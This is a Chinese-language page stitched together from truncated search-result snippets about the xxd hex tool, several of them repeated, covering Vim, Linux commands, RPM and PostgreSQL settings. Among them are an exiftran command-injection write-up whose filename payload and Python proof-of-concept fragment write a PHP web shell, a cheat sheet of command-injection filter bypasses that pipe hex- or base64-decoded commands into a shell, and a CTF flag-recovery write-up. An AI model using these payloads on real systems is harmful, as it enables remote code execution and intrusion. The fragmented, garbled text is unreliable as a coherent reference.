直接运行/usr/bin/python3.8python3.8 就在硬盘里呆着位置就在/usr/bin/python3.8usr 是 unix software resourcebin 是二进制...xxd我们可以看到这个文件的二进制形态%是指的对于所有行的范围!是执行外部命令xxd指的是转化为 16 进制形式什么是xxd命令呢?...xxdxxd 可以查看文件的二进制形态dump的本意是(倾倒垃圾)这里指的是转储把文件转储为16进制形式汇编代码形式编辑:xxd –r 可以还原回去 :%!...xxd 转成字节形态:%!...xxd –r 转回文本形态反复横跳...另存为python3.8hex一行是(16)10 进制 个字节G总共有 343148 行编辑这就是 真正的机器语言cpu能执行的东西真真切切看到了的真的存在硬盘上
–>Startup Settiongs 我的配置 "*****************************用户自定义设置*******************************" " ...xxd --转储二进制文件,以十六进制形式显示 " :%!...xxd -r --还原二进制文件 "********************************设置快捷键****************************...A "********************************设置编码*******************************" "设置换行编码 :set fileformats=unix..." 自动检测并加载外部对文件的修改" set autowrite " 自动检测并加载外部对文件的修改" set showcmd " 命令栏显示命令
Linux Linux的基础介绍 Linux,全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,其内核由林纳斯·本纳第克特·托瓦兹于1991年10月5日首次发布,它主要受到Minix...和Unix思想的启发,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的操作系统。...用户名 增加用户是直接加上组 usermod -g 用户组 用户名 passwd 给用户设置密码 passwd xxd 回车后输入新的密码 userdel userdel xxd 删除xxd id id...修改所有者 chown 用户名 文件名 chowm xxd a.txt 权限介绍 -rw-r--r-- 1 root root 0 11月 25 11:23 a.txt 0(d,-,l,c,...-l 仅列出有在 Listen (监听) 的服務状态 -p 显示建立相关链接的程序名 -r 显示路由信息,路由表 -e 显示扩展信息,例如uid等 -s 按各个协议进行统计 -c 每隔一个固定时间,执行该
编辑-编译循环 :make 命令会执行用户选择的程序来构建项目,然后将输出收集到quickfix缓冲区中。quickfix记录中的每一项都记录了文件名、行号、列号、类型(警告或错误)和消息。...此外,:file newname命令可以改变缓冲区文件名,而不会执行实际的写入。 学习更多有关读写命令的知识也很有用。因为r和w都是ex的命令,所以它们都可以接受范围。...xxd -g 1 %s/\r$//e " put the autocmds into a group for easy removal later augroup ftplugin-xxd "...xxd -r autocmd TextChanged,InsertLeave silent %!...ftplugin-xxd * " | execute "silent %!xxd -r"' 打开一个文件,然后执行 :set ft。记下文件类型。然后执行 :set ft=xxd。
anVuZV8xMjAxQHFxLmNvbQo= 1536.用find 找到几千个文件,然后想用 xargs 结合 tar打包,为什么tar包里面只有部分数据: xargs --show-limits看下,如果你的命令超过命令行长度限制...1539.变量不加双引号在某些特定情况下被解析为 IFS 而显示为空: a="";echo $a|xxd ;a=$'\n';echo $a|xxd ;a=" ";echo $a|xxd...1554.sed N P D 的解释: 首先;你加了-n参数,不会默认输出pattern space里的内容,只有p或者P操作才会打印,你先清楚这点....这时候继续执行,已经是第三行了,因为第二行读走了,N操作,PS里的内容是3\n4,这时候行号是4, 满足4{P;D}条件,执行P,请查阅sed资料,P是打印PS里第一行的内容,那就是3输出到了屏幕...wireshark 可以认为是 tcpdump的图形界面 1592.覆盖文件需要对文件有w权限,删除需要对文件所在目录有w权限,而不需要对文件有w权限: 一个目录里面有多少文件都是记录在目录项里的
之前有搜集过一些常用的命令脚本,其中有vim的部分。但是vim内置的很多功能那些个命令显然是不够的,而且那些记录的很多也不常用,于是想到专门开一个页面记录vim常用的命令集。...# (查看模式)粘贴 u # Undo Ctrl+r # (查看模式)Redo Ctrl+r Ctrl+" #...打开目录 :E # 目录导航 :ls # 列举缓冲区 N Ctrl+^ # 切换缓冲区 关键字导航 Ctrl+N # 向下查找关键字关键字[插入模式下], Ctrl+P...xxd[ -r] # 转入[转出]为16进制查看 gg=G # 全文自动缩进 :set encoding=utf8 # 设置显示编码...:set fileencoding=utf-8 # 文件编码转换 :help encoding-values # 列举支持得编码 :setl ff=[dos/unix/mac] # 行尾格式转换
文章目录 一、wireshark-1 二、答题步骤 1.xxd 总结 ---- 一、wireshark-1 文件:攻防世界下载对应文件 二、答题步骤 1.xxd 下载附件得到一个文件 1.用file...查看,并不能判定类型 2.用二进制命令查看发现二进制和jpg翻转后二进制很像FFD8开头的 3.使用以下命令把二进制文件进行倒序输出得到图片,进行翻转旋转后看到flag:SECCON{6in_tex7...} xxd -p 0da9641b7aad4efb8f7eb45f47eaebb2 | tr -d '\n' | rev | xxd -r -p > reversed ---- 总结 xxd
最终执行命令的时候,执行的命令如下: exiftran -i -9 test.jpeg 按照国外友人的分析: 如果我们传入的文件名称是: test.jpeg;touch $(echo -n 2e2e2f66696c65732f70776e6564...|xxd -p -r);echo rce.jpeg 以上的命令会在相应的目录下产生一个pwned的文件。...然后修改文件名称为: test.jpeg; touch $(echo -n 2e2e2f66696c65732f70776e6564| xxd -p -r);echo rce.jpeg 如图 ?...import sys payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd...-r -p > SecSignal.php;echo SecSignal.jpg' def usage(): if len(sys.argv) !
特殊项*对应所有可用 IP 接口。项0.0.0.0允许监听所有 IPv4 地址并且::允许监听所有 IPv6 地址。...项之间的空白被忽略,如果你需要在名字中包括空白或逗号,在目录名周围放上双引号。一个空值指定在任何 Unix 域套接字上都不监听,在这种情况中只能使用 TCP/IP 套接字来连接到服务器。...这个参数只有在支持TCP_KEEPINTVL或等效套接字选项的系统或 Windows 上才可以使用。在其他系统上,必须为零。在通过 Unix域套接字连接的会话中,这个参数被忽略并总被读作零。...这个参数只有在支持TCP_KEEPCNT或等效套接字选项的系统上才可以使用。在其他系统上,必须为零。在通过 Unix 域套接字连接的会话中,这个参数被忽略并总被读作零。...OpenSSL 命名了最常见的曲线: prime256v1 (NIST P-256)、 secp384r1 (NIST P-384)、secp521r1 (NIST P-521)。
, 则采用标准输入 xxd -h[elp] xxd [options] [infile | [outfile]] xxd -r[evert] [options] [infile [outfile]]...Hex 与 字符文本 xxd src.c xxd -g4 src.c #每四个字节一组 xxd -p src.c #输出所有的hex不使用空格进行分割,也不显示偏移 xxd -i src.c...命令示例 #示例3.显示从倒数15字节到末尾的十六进制内容并采用大写显示 xxd -s -15 -u src.c #示例4.将十六进行转换成文本数据,将文本数据转换成十六进制 echo '0000029...: 3574 68' | xxd -r echo "hello" |xxd -g1 #显示字符串 hello 的16进制数据: echo -e "\x68\x65\x6c\x6c\x6f" #示例...xxd #返回正常显示: :%!xxd -r WeiyiGeek.xdd示例2
配置vim /etc/vimrc配置项全局生效,对所有用户生效 .vimrc家目录下,只针对某个用户生效 > vim /etc/vimrc set number #显示行号 set autoindent...粘贴代码到光标后的位置,或按 P 粘贴到光标前。...在 Vim 中,你可以切换到正常模式,按 u 来撤销操作,按 Ctrl+r 来重做。...xxd会把当前文本转换成16进制vim rumenz.txt 123 :%!xxd 恢复到正常模式 > vim rumenz.txt 123 :%!...xxd -r 大小写敏感查找 在查找模式中加入\c表示大小写不敏感查找,\C表示大小写敏感查找 > vim rumenz.txt 123 /rumenz \c 将查找rumenz,Rumenz,RUMENZ
命令执行漏洞绕过 过滤空格IFS9 、 一句话执行多个命令 cd ..&&cd ..&&cd ..&&cat flag cd ..;cd ..;cd .....;cat flag || 执行或语句, 也可用作连接 利用换行 如有语句 C 语言中 system() 可以用 \n 换行来执行多条命令 关键字过滤 拼接绕过 执行ls命令:a=l;b=s;ab cat...cat /flag echo Y2F0IC9mbGFn|base64 -d|sh 等价于 cat /flag hex (16进制字符串) echo "0x636174202f666c6167" | xxd...-r -p|bash 等价于 cat /flag echo 0x636174202f666c6167|xxd -r -p|bash 等价于 cat /flag oct 字节(八进制字符串) $(printf...ag cat /fl* cat /f[a-z]ag cat /f{i,j,k,l,m,n}ag 命令替换 # 查看文件内容的命令 cat、tac、more、less、head、tail、nl、sed、sort
配置vim /etc/vimrc配置项全局生效,对所有用户生效 .vimrc家目录下,只针对某个用户生效 > vim /etc/vimrc set number #显示行号 set autoindent...粘贴代码到光标后的位置,或按 P 粘贴到光标前。...在 Vim 中,你可以切换到正常模式,按 u 来撤销操作,按 Ctrl+r 来重做。...xxd会把当前文本转换成16进制 > vim rumenz.txt 123 :%!xxd 恢复到正常模式 > vim rumenz.txt 123 :%!...xxd -r 大小写敏感查找 在查找模式中加入\c表示大小写不敏感查找,\C表示大小写敏感查找 > vim rumenz.txt 123 /rumenz \c 将查找rumenz,Rumenz,RUMENZ
如果您使用过 Debian 的 APT,现在您可能希望拥有类似 apt-get 的命令,该命令会查找您需要的资源(包括依赖项)并进行安装。...但是,如果您在单个命令上指定删除多个包,没有依赖项的包会在有依赖项的包之前删除。 使用 rpm 删除包时,在删除包之前没有提示,这与安装包时不同。...查询包文件 上述包命令查询 RPM 数据库中已安装的包。如果您仅下载了一个包并想要同样的信息,可以在查询中使用 -p 选项(表示包文件)并指定(用于安装该包的)包文件 名来获得此信息。...rpm 命令提供了询问已安装的包或包文件来确定它们依赖或需要 哪些功能的选项。这是 --requires 选项,可以将它缩写为 -R。 显示了 gcc-gfortran 需要的功能。...大部分命令行接口都类似或等同于 yum,而且这些工具也类似或拥有等效的功能。通常可以在使用 dnf的系统上使用 yum 命令,但会出现一个警告表明 yum 命令已过时,您应该使用 dnf。
TNTWeb - 全称腾讯新闻中台前端团队,组内小伙伴在Web前端、NodeJS开发、UI设计、移动APP等大前端领域都有所实践和积累。...我们遴选了30个常用的nodejs安装包,让您免于重新发明轮子。...import * as R from 'ramda'; const double = x => x * 2; R.map(double, [1, 2, 3]); // => [2, 4, 6] R.map...rm -rf 命令等效的命令。...shell 命令的可移植 (Windows/Linux/OS X) 实现。
列出目录详细内容(文件的权限、所有者、文件大小等) ) pwd 打印当前目录 print work directory mkdir tmp 创建tmp目录 mkdir -p.../home/a/b 创建多个目录(-p: 创建一个目录的时候,若其父目录不存在,则自动创建,而不是默认的报错。)...rm -rf dir 删除名为dir的目录 -r recursion -f force cp config_ok .config 复制config_ok...xxd ——将当前文本转换为16进制格式。 :%!od ——将当前文本转换为16进制格式。 :%!xxd -c 12——将当前文本转换为16进制格式,并每行显示12个字节。 :%!...xxd -r ——将当前文件转换回文本格式。 ---- 复杂点的命令相关 top 查看CPU及进程 .
下面的例子说明了这一点,并将结果导入到 xxd 中,这样我们就可以检查十六进制: echo -en "Hello\r" | tr -d "\r" | xxd 您还可以使用‘ tr’命令进行其他特殊情况下的更正...,这些更正可能需要在其他一些 unix 管道中应用。...上面的命令显示了输入到 xxd 中的结果,这样您就可以验证结果了。 在实际的用例中,您可能不希望在这个管道的末尾使用 xxd。 Tr 与数据科学有什么关系?...当“ tsort”命令处理文件时,它将假定第一个单词描述了需要在第二个单词之后出现的内容。 在处理完所有行之后,“ tsort”将按照大多数下游依赖项到最少的下游依赖项的顺序输出所有单词。...如果我们在依赖项列表中重复“随机”排序,并将其导入 tsort,你会发现结果总是相同的,尽管“ sort-r”的输出每次都不同: cat task_dependencies.txt | sort -R
/local/polardb-odbc/lib/unix/polardb-odbc.so Setup64 =/usr/local/polardb-odbc/lib/unix/libodbcpolardbS.so...其实这里涉及到 makefile的语法规则,makefile文件禁止乱用 TAB,只有命令所在的行才能且只能以TAB开头, 其他的如,make变量的定义、赋值,make内定函数如(error "strings...")都不能以TAB开头,不然make会将其作为命令来处理。...用空格代替的问题后、以及由中文“:”等问题后,问题还存在 那么很可能是文件编码格式的问题 查看一下Makefile 文件编码格式是不是utf-8的,还带有BOM标记在文件头 [root@db1 samples]# xxd...INCLUDEDIRS = 参考文章 https://help.aliyun.com/document_detail/148105.html https://www.cnblogs.com/flying-tiger/p/
命令查看二进制文件 neo@MacBook-Pro ~/workspace/netkiller % xxd -b netkiller.bin 00000000: 00000000 00000000...使用 ls 命令可以看这个文件占用了 2B(两个字节) neo@MacBook-Pro ~/workspace/netkiller % ll netkiller.bin -rw-r--r-- 1 neo...01110100 00000000 01110100 00000000 01110000 .h.t.t.p 00000008: 00000000 00111010 00000000 00101111...01110100 .. - htt 00000040: 01110000 00111010 00101111 00101111 01110111 01110111 01110111 00101110 p:...20 2d 20 68 74 74 |ava ...... - htt| 00000040 70 3a 2f 2f 77 77 77 2e 6e 65 74 6b 69 6c 6c 65 |p:
命令查看二进制文件 neo@MacBook-Pro ~/workspace/netkiller % xxd -b netkiller.bin 00000000: 00000000 00000000...使用 ls 命令可以看这个文件占用了 2B(两个字节) neo@MacBook-Pro ~/workspace/netkiller % ll netkiller.bin -rw-r--r--...01110100 00000000 01110100 00000000 01110000 .h.t.t.p 00000008: 00000000 00111010 00000000 00101111...01110100 .. - htt 00000040: 01110000 00111010 00101111 00101111 01110111 01110111 01110111 00101110 p:...20 2d 20 68 74 74 |ava ...... - htt| 00000040 70 3a 2f 2f 77 77 77 2e 6e 65 74 6b 69 6c 6c 65 |p:
领取专属 10元无门槛券
手把手带您无忧上云